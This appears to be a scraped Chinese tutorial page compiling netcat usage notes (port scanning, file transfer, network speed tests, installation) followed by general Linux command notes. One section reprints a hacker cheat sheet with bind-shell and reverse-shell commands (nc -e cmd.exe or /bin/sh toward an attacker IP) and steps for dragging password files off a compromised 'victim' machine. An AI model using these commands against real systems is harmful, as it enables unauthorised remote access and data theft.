導航:首頁 > 文件教程 > netcat傳輸文件

netcat傳輸文件

發布時間:2023-09-10 02:47:21

1. 認識nc,tcp/udp網路測試

什麼是nc

nc是netcat的簡寫,有著網路界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網路工具

nc的作用

(1)實現任意TCP/UDP埠的偵聽,nc可以作為server以TCP或UDP方式偵聽指定埠

(2)埠的掃描,nc可以作為client發起TCP或UDP連接

(3)機器之間傳輸文件

(4)機器之間網路測速                                                                                                                                                                                                                        

nc的控制參數不少,常用的幾個參數如下所列:

1) -l

用於指定nc將處於偵聽模式。指定該參數,則意味著nc被當作server,偵聽並接受連接,而非向其它地址發起連接。

2) -p <port>

暫未用到(老版本的nc可能需要在埠號前加-p參數,下面測試環境是centos6.6,nc版本是nc-1.84,未用到-p參數)

3) -s

指定發送數據的源IP地址,適用於多網卡機 

4) -u

 指定nc使用UDP協議,默認為TCP

5) -v

輸出交互或出錯信息,新手調試時尤為有用

6)-w

超時秒數,後面跟數字 

7)-z

表示zero,表示掃描時不發送任何數據

前期准備

准備兩台機器,用於測試nc命令的用法

主機A:ip地址 10.0.1.161

主機B:ip地址 10.0.1.162

兩台機器先安裝nc和nmap的包

yum install nc -y

yum install nmap -y

如果提示如下-bash: nc: command not found 表示沒安裝nc的包

nc用法1,網路連通性測試和埠掃描

 

nc可以作為server端啟動一個tcp的監聽(注意,此處重點是起tcp,下面還會講udp)

先關閉A的防火牆,或者放行下面埠,然後測試B機器是否可以訪問A機器啟動的埠

在A機器上啟動一個埠監聽,比如 9999埠(注意:下面的-l 是小寫的L,不是數字1)

默認情況下下面監聽的是一個tcp的埠

nc -l 9999

客戶端測試, 測試方法1

在B機器上telnet A機器此埠,如下顯示表示B機器可以訪問A機器此埠

客戶端測試,測試方法2

B機器上也可以使用nmap掃描A機器的此埠

nmap 10.0.1.161 -p9999

客戶端測試,測試方法3

使用nc命令作為客戶端工具進行埠探測

nc -vz -w 2 10.0.1.161 9999

(-v可視化,-z掃描時不發送數據,-w超時幾秒,後面跟數字)

上面命令也可以寫成

nc -vzw 2 10.0.1.161 9999

客戶端測試,測試方法4(和方法3相似,但用處更大)

nc可以可以掃描連續埠,這個作用非常重要。常常可以用來掃描伺服器埠,然後給伺服器安全加固

在A機器上監聽2個埠,一個9999,一個9998,使用&符號丟入後台

在客戶端B機器上掃描連續的兩個埠,如下

nc作為server端啟動一個udp的監聽(注意,此處重點是起udp,上面主要講了tcp)

啟動一個udp的埠監聽

nc  -ul  9998

復制當前窗口輸入 netstat -antup |grep 9998 可以看到是啟動了udp的監聽

客戶端測試,測試方法1

nc -vuz 10.0.1.161 9998

由於udp的埠無法在客戶端使用telnet去測試,我們可以使用nc命令去掃描(前面提到nc還可以用來掃描埠)

(telnet是運行於tcp協議的)

(u表示udp埠,v表示可視化輸出,z表示掃描時不發送數據)

上面在B機器掃描此埠的時候,看到A機器下面出現一串XXXXX字元串

客戶端測試,測試方法2

nmap -sU 10.0.1.161 -p 9998 -Pn

(它暫無法測試nc啟動的udp埠,每次探測nc作為server端啟動的udp埠時,會導致對方退出偵聽,有這個bug,對於一些程序啟動的udp埠在使用nc掃描時不會有此bug)

下面,A機器啟動一個udp的埠監聽,埠為9998

在復制的窗口上可以確認已經在監聽了

B機器使用nmap命令去掃描此udp埠,在掃描過程中,導致A機器的nc退出監聽。所以顯示埠關閉了(我推測是掃描時發數據導致的)

nmap -sU 10.0.1.161 -p 9998 -Pn

-sU :表示udp埠的掃描

-Pn :如果伺服器禁PING或者放在防火牆下面的,不加-Pn 參數的它就會認為這個掃描的主機不存活就不會進行掃描了,如果不加-Pn就會像下面的結果一樣,它也會進行提示你添加上-Pn參數嘗試的

注意:如果A機器開啟了防火牆,掃描結果可能會是下面狀態。(不能確定對方是否有監聽9998埠)

既然上面測試無法使用nmap掃描nc作為服務端啟動的埠,我們可以使用nmap掃描其餘的埠

(額,有點跑題了,講nmap的用法了,沒關系,主要為了說明nmap是也可以用來掃描udp埠的,只是掃描nc啟動的埠會導致對方退出埠監聽)

下面,A機器上rpcbind服務,監聽在udp的111埠

在B機器上使用nmap掃描此埠,是正常的檢測到處於open狀態

客戶端測試,測試方法3

nc掃描大量udp埠

掃描過程比較慢,可能是1秒掃描一個埠,下面表示掃描A機器的1到1000埠(暫未發現可以在一行命令中掃描分散的幾個埠的方法)

nc -vuz 10.0.1.161 1-1000

nc用法2,使用nc傳輸文件和目錄

方法1,傳輸文件演示(先啟動接收命令)

使用nc傳輸文件還是比較方便的,因為不用scp和rsync那種輸入密碼的操作了

把A機器上的一個rpm文件發送到B機器上

需注意操作次序,receiver先偵聽埠,sender向receiver所在機器的該埠發送數據。  

步驟1,先在B機器上啟動一個接收文件的監聽,格式如下

意思是把賴在9995埠接收到的數據都寫到file文件里(這里文件名隨意取)

nc -l port >file

nc -l 9995 >zabbix.rpm

步驟2,在A機器上往B機器的9995埠發送數據,把下面rpm包發送過去

nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm

B機器接收完畢,它會自動退出監聽,文件大小和A機器一樣,md5值也一樣

方法2,傳輸文件演示(先啟動發送命令)

步驟1,先在B機器上,啟動發送文件命令

下面命令表示通過本地的9992埠發送test.mv文件

nc -l 9992 <test.mv

步驟2,A機器上連接B機器,取接收文件

下面命令表示通過連接B機器的9992埠接收文件,並把文件存到本目錄下,文件名為test2.mv

nc 10.0.1.162 9992 >test2.mv

方法3,傳輸目錄演示(方法發送文件類似)

步驟1,B機器先啟動監聽,如下

A機器給B機器發送多個文件

傳輸目錄需要結合其它的命令,比如tar

經過我的測試管道後面最後必須是 - ,不能是其餘自定義的文件名

nc -l 9995 | tar xfvz -

步驟2,A機器打包文件並連接B機器的埠

管道前面表示把當前目錄的所有文件打包為 - ,然後使用nc發送給B機器

tar cfz - * | nc 10.0.1.162 9995

B機器這邊已經自動接收和解壓

nc用法3,測試網速

測試網速其實利用了傳輸文件的原理,就是把來自一台機器的/dev/zero 發送給另一台機器的/dev/null

就是把一台機器的無限個0,傳輸給另一個機器的空設備上,然後新開一個窗口使用dstat命令監測網速

在這之前需要保證機器先安裝dstat工具

yum install -y dstat

方法1,測試網速演示(先啟動接收命令方式)

步驟1,A機器先啟動接收數據的命令,監聽自己的9991埠,把來自這個埠的數據都輸出給空設備(這樣不寫磁碟,測試網速更准確)

nc -l 9991 >/dev/null

步驟2,B機器發送數據,把無限個0發送給A機器的9991埠

nc 10.0.1.161 9991 </dev/zero

在復制的窗口上使用dstat命令查看當前網速,dstat命令比較直觀,它可以查看當前cpu,磁碟,網路,內存頁和系統的一些當前狀態指標。

我們只需要看下面我選中的這2列即可,recv是receive的縮寫,表示接收的意思,send是發送數據,另外注意數字後面的單位B,KB,MB

可以看到A機器接收數據,平均每秒400MB左右

B機器新打開的窗口上執行dstat,看到每秒發送400MB左右的數據

方法2,測試網速演示(先啟動發送命令方式)

步驟1,先啟動發送的數據,誰連接這個埠時就會接收來自zero設備的數據(二進制的無限個0)

nc -l 9990 </dev/zero

步驟2,下面B機器連接A機器的9990埠,把接收的數據輸出到空設備上

nc 10.0.1.161 9990 >/dev/null

同樣可以使用dstat觀察數據發送時的網速

:https://www.cnblogs.com/nmap/p/6148306.html

2. linux和windows有沒有發送tcp協議消息的命令行程序

可以建立埠監聽並響應操作,可以連接埠發起請求。netcat既可以作為server端,也可以作為client端。具體例子比如埠掃面,聊天,傳文件等:
http://www.oschina.net/translate/linux-netcat-command
Ubuntu上默認安裝的是netcat-openbsd,而不是經典的netcat-traditional.
網上例子很多都是以netcat-traditional為例.
sudo apt-get -y install netcat-traditional
設置默認的nc,選擇/bin/nc.traditional:
sudo update-alternatives --config nc

3. 真正試過的人進:如何打開電腦的某個埠

用瑞士軍刀——netcat

命令格式:nc -l -p 你要開放的埠

有關nc的用法一定要在cmd瑞士軍刀所在目錄下用
其他用法:
NC這個黑客必備的武器,被稱為」瑞士軍刀」可見功能之強大.

對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.

1.1 NC.EXE是一個非標準的telnet客戶端程序,

1.2 還有一個putty.exe客戶端程序,提供四種連接模式

-raw -telnet -rlogin -ssh.

雖然現在也新出了GUI版的中文「NC」,但是相比起來還是這個好用。

######################################################################

2. Netcat 1.10 for NT 幫助信息

######################################################################

C:WINDOWSDesktop>nc -h

[v1.10 NT]

connect to somewhere: nc [-options] hostname port[s] [ports] ...

listen for inbound: nc -l -p port [options] [hostname] [port]

options:

-d detach from console, background mode (後台模式)

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h this cruft (本幫助信息)

-i secs delay interval for lines sent, ports scanned (延遲時間)

-l listen mode, for inbound connects (監聽模式,等待連接)

-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)

-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)

-o file hex mp of traffic (十六進制模式輸出文件,三段)

-p port local port number (本地埠)

-r randomize local and remote ports (隨機本地遠程埠)

-s addr local source address (本地源地址)

-t answer TELNET negotiation

-u UDP mode

-v verbose [use twice to be more verbose] (-vv 更多信息)

-w secs timeout for connects and final net reads

-z zero-I/O mode [used for scanning] (掃描模式,-vv)

port numbers can be indivial or ranges: m-n [inclusive]

######################################################################

3. Netcat 1.10 常用的命令格式

######################################################################

3.1.埠的刺探:

nc -vv ip port

RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open

3.2.掃描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

這樣掃描會留下大量的痕跡,系統管理員會額外小心

3.3. 後門

victim machine: //受害者的機器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻擊者的機器.

nc ip -p port //連接victim_IP,然後得到一個shell。

3.2.掃描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

這樣掃描會留下大量的痕跡,系統管理員會額外小心

3.3. 後門

victim machine: //受害者的機器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻擊者的機器.

nc ip -p port //連接victim_IP,然後得到一個shell。

3.4.反向連接

attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.

//或者wollf的反向連接.

nc -vv -l -p port

victim machine:

nc -e cmd.exe attacker ip -p port

nc -e /bin/sh attacker ip -p port

或者:

attacker machine:

nc -vv -l -p port1 /*用於輸入*/

nc -vv -l -p prot2 /*用於顯示*/

victim machine:

nc attacker_ip port1 cmd.exe nc attacker_ip port2

nc attacker_ip port1 /bin/sh nc attacker_ip port2

139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)

這樣就可以保證nc.exe優先於NETBIOS。 3.5.傳送文件:

3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.

nc -d -l -p port < pathfiledest /*attacker machine*/ 可以shell執行

nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出

//肉雞需要gui界面的cmd.exe裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.

3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞

nc -vv -l -p port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port < pathfiledest /*attacker machine*/ 可以shell執行

//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.

結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.

問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .

或者只有再次連接使用pskill.exe 殺掉進程.但是是否釋放傳輸文件打開的句柄了?

3.6 埠數據抓包.

nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

< 00000084 83 00 00 01 8f # .....

3.7 telnet,自動批處理。

nc victim_ip port < pathfile.cmd /*victim machine*/ 顯示執行過程.

nc -vv victim_ip port < pathfile.cmd /*victim machine*/ 顯示執行過程.

nc -d victim_ip port < pathfile.cmd 安靜模式.

_______________file.cmd________________________

password

cd %windir%

echo []=[%windir%]

c:

cd

md test

cd /d %windir%system32

net stop sksockserver

snake.exe -config port 11111

net start sksockserver

exit

4. linux怎麼安裝netcat

下載
下載的是netcat-0.7.1.tar.gz版本,存放在當前目錄下
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/
解壓
將 netcat-0.7.1.tar.gz 解壓到 /usr/local 目錄下
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
重命名
切換到 /usr/local 目錄下:cd /usr/local
改名:mv netcat-0.7.1 netcat
配置
切換目錄:cd /usr/local/netcat
把文件配置到 /opt/netcat 下,卸載軟體時,只要刪除這個文件就行了:./configure –prefix=/opt/netcat
編譯安裝
編譯:make
安裝:make install
配置環境變數 vim /etc/profile添加以下內容:# set netcat
pathexport NETCAT_HOME=/opt/netcatexport
PATH=$PATH:$NETCAT_HOME/bin保存,退出,並使配置生效:source /etc/profile
驗證nc –help

5. Linux命令

快照功能:記錄當前的硬碟的狀態。剛建快照時快照佔用內存為0,標記了當前硬碟的存儲狀態。當虛擬機對快照標記的內容改寫時,會將改寫的內容存儲進快照,與未改寫的部分整合得到完整的快照。當快照標記的部分被完全改寫,那麼快照存儲空間完整記錄了當時拍攝時的內存狀態。

參數形式

第一種:參數用一橫的說明後面的參數是字元形式。

第二種:參數用兩橫的說明後面的參數是單詞形式。

第三種:參數前有橫的老鏈頃是 System V風格。

第四種:參數前沒有橫的是 BSD風格。

cat、more、less、head、tail命令的比較:

cat命令可以一次顯示整個文件,如果文件比較大,使用不是很方便;

more命令可以讓屏幕在顯示滿一屏幕時暫停,按空格往前翻頁,按b往後翻頁。

less命令也可以分頁顯示文件,和more命令的區別就在於: 支持上下鍵卷動屏幕、查找;不需要在一開始就讀取整個文件,打開大文件時比more、vim更快。

head命令用於查看文件的前n行。

tail命令用於查看文件的後n行,加上-f命令,查看在線日誌非常方便,可以列印最新增加的日誌。

一般模式:

編輯模式:

命令模式:

編碼

多行操作(列編輯模式)
插入:ctrl+v進入列編輯模式,上下移動游標選擇需要插入的位置,然後輸入大寫I,輸入需要文本,最後按esc鍵退出,就會發現文本會在選擇的多行中插入。
刪除:ctrl+v進入列編輯模式,上下移動游標選中需要刪除的部分,然後按d,就會刪除選中的內容。

①head:顯示文件頭部內容

②tail:輸出文件尾部內容

注意:用vim和vi修改內容會刪除源文件並生成新文件,所以tail -f會失效。需要用到

追加和覆蓋語句(>或>>),才能被tail -f監視到。

一般用於查看小文件

查看壓縮文件中的文本內容

例:

①more:文件內容分屏查看器

②less:分屏顯示文件內容,效率比more高

1、簡單讀取

運行腳本如下

測試結果為:

2、-p 參數,允許在 read 命令行中直接指定一個提示。

運行腳本如下

測試結果為:

echo [選項] [輸出內容] (輸出內容到控制台)

輸出給定文本的sha256加密後的內容

①顯示當前時間信息

②顯示當前時間年月日

③顯示當侍陸前時間年月日時分秒

④顯示昨天

⑤顯示明天時間

⑥顯示上個月時間

需要注意的是取下個月的命令存在bug,執行如下命令會得到21-10,但是正常應該得到21-09,需要注意
date -d "2021-08-31 +1 month" +%y-%m

⑦修改系統時間

⑧獲取當前時間戳
獲取秒時間戳: date +%s
獲喚襪取毫秒時間戳:$[ (date +%s%N) /1000000]

查看日歷

(1)查看當前月的日歷

(2)查看2017年的日歷

例:

對比gzip/gunzip,zip/unzip可以壓縮文件和目錄且保留源文件。

①zip:壓縮

②unzip:解壓縮

只能壓縮文件不能壓縮目錄,不保留原來的文件。

gzip 文件 (只能將文件壓縮為*.gz文件)

gunzip 文件.gz (解壓縮文件命令)

例: crontab -e

(1)進入crontab編輯界面。會打開vim編輯你的工作。

(2)每隔1分鍾,向/root/longma.txt文件中添加一個11的數字

*/1 * * * * /bin/echo 」11」 >> /root/longma.txt

(3)可以用tail -f 目標文件來實施監控追加的內容

查看日誌
可以用tail -f /var/log/cron.log觀察

Cron表達式見文章: https://www.jianshu.com/writer#/notebooks/46619194/notes/75177408

ls [選項] [目錄或是文件]

cd [參數]

例: cd -P $(dirname $p1) ; pwd 先跳轉到文件的所在目錄,再列印$p1文件的實際路徑

概述

①cp():只能在本機中復制

②scp(secure ):可以復制文件給遠程主機

scp -r test.sh hxr@hadoop102:/root

③rsync(remote sync):功能與scp相同,但是不會改文件屬性

rsync -av test.sh test.sh hxr@hadoop102:/root

④nc(netcat):監聽埠,可以實現機器之間傳輸文件。
nc -lk 7777 (-l表示listen,-k表示keep)

強制覆蓋不提示的方法:cp

例:scp -r test.sh hxr@bigdata1:/root

例:rsync -av test.sh hxr@bigdata1:/root

例:

nc -lp 10000 > nc_test.txt

nc -w 1 hadoop102 < nc_test.txt

遠程登錄時默認使用的私鑰為~/.ssh/id_rsa

生成密鑰對

將公鑰發送到本機

將密鑰發送到需要登錄到本機的伺服器上

修改密鑰的許可權

遠程登陸

如果有多個節點需要遠程登陸,可以在.ssh下創建config並輸入

再次登陸


①正向代理:



②反向代理:
所謂「反向代理」就是讓遠端啟動埠,把遠端埠數據轉發到本地。

HostA 將自己可以訪問的 HostB:PortB 暴露給外網伺服器 HostC:PortC,在 HostA 上運行:

那麼鏈接 HostC:PortC 就相當於鏈接 HostB:PortB。
使用時需修改 HostC 的 /etc/ssh/sshd_config 的一條配置如下,不然啟動的進程監聽的ip地址為127.0.0.1,即只有本機可以訪問該埠。

相當於內網穿透,比如 HostA 和 HostB 是同一個內網下的兩台可以互相訪問的機器,HostC是外網跳板機,HostC不能訪問 HostA,但是 HostA 可以訪問 HostC。
那麼通過在內網 HostA 上運行 ssh -R 告訴 HostC,創建 PortC 埠監聽,把該埠所有數據轉發給我(HostA),我會再轉發給同一個內網下的 HostB:PortB。
同內網下的 HostA/HostB 也可以是同一台機器,換句話說就是 內網 HostA 把自己可以訪問的埠暴露給了外網 HostC。

例: 比如在我的內網機192.168.32.244上有一個RabbitMQ的客戶端,埠號為15672。現在我希望在外網上訪問固定ip的雲伺服器chenjie.asia的6009埠,通過跳板機192.168.32.243來轉發請求到192.168.32.244:15672,從而實現在外網訪問內網服務的功能,即內網穿透。
①在192.168.32.244上啟動RabbitMQ服務

②將chenjie.asia雲伺服器的私鑰復制到跳板機192.168.32.243的~/.ssh下,並重命名為id_rsa。通過如下命令看是否可以遠程登陸到雲服務,可以登陸則進行下一步。

③修改chenjie.asia伺服器的ssh配置文件 /etc/ssh/sshd_config ,允許其他節點訪問

然後重啟sshd服務

④在跳板機192.168.32.243啟動ssh反向代理

這個進程在關閉session時會停止,可以添加啟動參數 -CPfN

例:

以 root 身份執行的程序有了所有特權,這會帶來安全風險。Kernel 從 2.2 版本開始,提供了 Capabilities 功能,它把特權劃分成不同單元,可以只授權程序所需的許可權,而非所有特權。

例如:linux不允許非root賬號只用1024以下的埠,使用root啟動命令nginx,會導致nginx許可權過高太危險。所以用setcap命令

sudo setcap cap_net_bind_service=+eip /bigdata/nginx/sbin/nginx

正確的關機流程為 :sync > shutdown > reboot > halt

(1)sync (功能描述:將數據由內存同步到硬碟中)

(2)halt (功能描述:關閉系統,等同於shutdown -h now 和 poweroff)

(3)reboot (功能描述:就是重啟,等同於 shutdown -r now)

(4)shutdown [選項] [時間]

安裝
yum install -y telnet-server telnet

ls -i 顯示文件的節點號
find -inum 節點號 -delete 刪除指定的節點即可刪除對應的文件


啟動一個服務: systemctl start postfix.service
關閉一個服務: systemctl stop postfix.service
重啟一個服務: systemctl restart postfix.service
顯示一個服務的狀態: systemctl status postfix.service

在開機時啟用一個服務: systemctl enable postfix.service
在開機時禁用一個服務: systemctl disable postfix.service
註:在enable的時候會列印出來該啟動文件的位置

列出所有已經安裝的服務及狀態:
systemctl list-units
systemctl list-unit-files
查看服務列表狀態:
systemctl list-units --type=service

查看服務是否開機啟動: systemctl is-enabled postfix.service
查看已啟動的服務列表: systemctl list-unit-files | grep enabled
查看啟動失敗的服務列表: systemctl --failed

查看服務日誌: journalctl -u postfix -n 10 -f

命令類似systemctl,用於操作native service。

添加腳本為服務(需要指定啟動級別和優先順序): chkconfig --add [腳本]
刪除服務: chkconfig --del [腳本]
單獨查看某一服務是否開機啟動的命令 : chkconfig --list [服務名]
單獨開啟某一服務的命令 : chkconfig [服務名] on
單獨關閉某一服務的命令: chkconfig [服務名] off
查看某一服務的狀態: /etc/intd.d/[服務名] status

啟用服務就是在當前"runlevel"的配置文件目錄 /etc/systemd/system/multi-user.target.wants 里,建立 /usr/lib/systemd/system 裡面對應服務配置文件的軟鏈接;禁用服務就是刪除此軟鏈接,添加服務就是添加軟連接。

su 用戶名稱 (切換用戶,只能獲得用戶的執行許可權,不能獲得環境變數)

su - 用戶名稱 (切換到用戶並獲得該用戶的環境變數及執行許可權)

echo $PATH 列印環境變數

設置普通用戶具有root許可權

修改 /etc/sudoers 文件,找到下面一行(91行),在root下面添加一行,如下 所示:

或者配置成採用sudo命令時,不需要輸入密碼

修改完畢,現在可以用hxr 帳號登錄,然後用命令 sudo ,即可獲得root許可權進行操作。

以azkaban用戶執行引號中的命令

gpasswd -d [username] [groupname] 將用戶從組中刪除
gpasswd -a [username] [groupname] 將用戶加入到組中

用戶組的管理涉及用戶組的添加、刪除和修改。組的增加、刪除和修改實際上就是對 /etc/group文件的更新。

0首位表示類型 - 代表文件 d 代表目錄 l 鏈接文檔(link file)

三種特殊許可權suid、sgid、sticky

例子:



變更文件許可權方式一

例:chmod u-x,o+x houge.txt

變更文件許可權方式二

例:chmod -R 777 /mnt/ 修改整個文件夾的文件許可權


在linux中創建文件或者目錄會有一個默認許可權的,這個默認許可權是由umask決定的(默認為0022)。umask設置的是許可權的「補碼」,而我們常用chmod設置的是文件許可權碼。一般在/etc/profile 、~/.bashprofile 或者 ~/.profile中設置umask值。

umask計算
如root用戶的默認umask為0022(第一個0 代表特殊許可權位,這里先不考慮),創建的文件默認許可權是644(即默認666掩上umask的022),創建的目錄是755(即默認777掩上umask的022)。

對於root用戶的umask=022這個來說,777許可權二進制碼就是(111)(111)(111),022許可權二進制碼為(000)(010)(010)。

上面就是一個umask的正常計算過程,但是這樣實在是太麻煩了。我們使用如下的簡單的方法快速計算。

上面的這個方法計算是非常方便的, 為何得到奇數要+1呢?

文件的最大許可權是666,都是偶數,你得到奇數,說明你的umask有奇數啊,讀為4,寫為2,都是偶數,說明你有執行許可權的。

就按照上面的umask=023為例,在計算其他用戶許可權的時候6-3=3 ,6是讀寫,3是寫和執行,其實應該是讀寫許可權減去讀許可權的得到寫許可權的,相當於我們多減去了一個執行許可權。所以結果加1。



umask修改


如果想單獨修改某個文件夾的新建文件的許可權,可以使用setfacl命令。


例:遞歸改變文件所有者和所有組 chown -R hxr:hxr /mnt

例:

閱讀全文

與netcat傳輸文件相關的資料

熱點內容
3dmaxvray視頻教程 瀏覽:905
imgtool工具中文版 瀏覽:539
java幫助文件在哪裡 瀏覽:965
win10切換輸入語言 瀏覽:696
haier電視網路用不了怎麼辦 瀏覽:361
蘋果6手機id怎麼更改 瀏覽:179
米家掃地機器人下載什麼app 瀏覽:82
如何在編程貓代碼島20種樹 瀏覽:915
手機基礎信息存儲在哪個文件 瀏覽:726
如何查找手機備份文件 瀏覽:792
內存清理工具formac 瀏覽:323
iphone過濾騷擾電話 瀏覽:981
wap網路如何使用微信 瀏覽:699
手機迅雷應用盒子在哪個文件夾 瀏覽:351
windows8網路連接 瀏覽:442
怎麼快速增加qq群人數 瀏覽:919
錘子視頻播放器文件不存在 瀏覽:707
蘋果手機怎麼清理app緩存 瀏覽:682
花園戰爭2豪華升級包 瀏覽:517
電腦無法向u盤傳輸文件 瀏覽:823

友情鏈接